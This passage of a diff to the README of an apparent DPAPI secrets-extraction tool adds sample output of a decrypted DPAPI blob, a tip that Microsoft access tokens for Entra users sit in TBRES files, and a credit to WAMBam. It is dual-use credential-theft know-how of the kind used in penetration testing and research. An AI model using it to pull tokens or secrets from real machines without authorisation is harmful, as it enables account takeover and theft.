{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9
|
|
841
|
+
|
|
842
|
+
[*] Trying to decrypt DPAPI blob
|
|
843
|
+
|
|
844
|
+
[BLOB]
|
|
845
|
+
Version : 1 (1)
|
|
846
|
+
Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
|
|
847
|
+
MasterKeyVersion : 1 (1)
|
|
848
|
+
Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B
|
|
849
|
+
Flags : 0 ()
|
|
850
|
+
Description :
|
|
851
|
+
CryptAlgo : 00006603 (26115) (CALG_3DES)
|
|
852
|
+
Salt : b'a5a15df8f0fb606897f28966dd5fcd9e'
|
|
853
|
+
HMacKey : b''
|
|
854
|
+
HashAlgo : 00008004 (32772) (CALG_SHA)
|
|
855
|
+
HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a'
|
|
856
|
+
Data : b'5ece8ce1dd8[...]
|
|
857
|
+
|
|
858
|
+
Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'
|
|
859
|
+
```
|
|
860
|
+
|
|
861
|
+
***Tips***: *You can find Microsoft access token for Entra users in TBRES files.*
|
|
862
|
+
|
|
776
863
|
## Credits
|
|
777
864
|
|
|
778
865
|
Those projects helped a lot in writting this tool:
|
|
@@ -781,8 +868,5 @@ Those projects helped a lot in writting this tool:
|
|
|
781
868
|
- [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) by [Harmj0y](https://twitter.com/harmj0y)
|
|
782
869
|
- [Mimikatz](https://github.com/gentilkiwi/mimikatz/) by [gentilkiwi](https://twitter.com/gentilkiwi)
|
|
783
870
|
- [DonPAPI](https://github.com/login-securite/DonPAPI) by [LoginSecurite](https://twitter.com/LoginSecurite)
|
|
784
|
-
|
|
785
|
-
## TODO
|
|
786
|
-
|
|
787
|
-
- Implement LOCAL triage (with extracted stuff)
|
|
871
|
+
- [WAMBam](https://github.com/xpn/WAMBam) by [_xpn_](https://twitter.com/_xpn_)
|
|
788
872
|
|